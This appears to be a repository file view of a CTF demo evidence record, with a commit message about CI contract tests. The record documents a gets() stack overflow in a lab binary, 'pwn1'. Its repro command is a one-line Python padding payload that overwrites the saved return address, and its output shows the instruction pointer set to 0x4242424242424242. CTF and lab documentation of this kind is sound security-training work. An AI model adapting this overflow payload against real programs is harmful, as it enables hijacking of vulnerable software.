Files
reverse-skill/examples/ctf-demo/evidence/E-002.md
T
yhc e554f2e7e9 ci: add strict case-contract test for examples/ctf-demo (P1-3)
- Refactor examples/ctf-demo to satisfy the review_case.py contract:
  split evidence/E-001-E-003.md into per-record E-001/E-002/E-003.md
  with ### E-xxx headings and severity/status/repro_command fields
- Add evidence/checksec-output.txt artifact with matching content_hash so
  --verify-hashes has a real object to verify
- Convert report.md finding/path sections to structured F-01/P-01 blocks
- New case-contract CI job runs review_case.py --verify-hashes --strict on
  examples/ctf-demo; local result: PASS (0 errors, 0 warnings)
2026-08-10 19:52:56 +08:00

390 B

E-002

  • title: gets() stack overflow in main
  • severity: info
  • status: observed
  • observed_at: 2026-08-02T00:40:00
  • source_type: command
  • source_ref: static analysis
  • repro_command: | python3 -c "print('A'*0x48 + 'B'*8)" | ./pwn1
  • raw_excerpt: | Program received signal SIGSEGV, Segmentation fault. RIP=0x4242424242424242
  • content_hash: n/a
  • linked_workitem: WI-003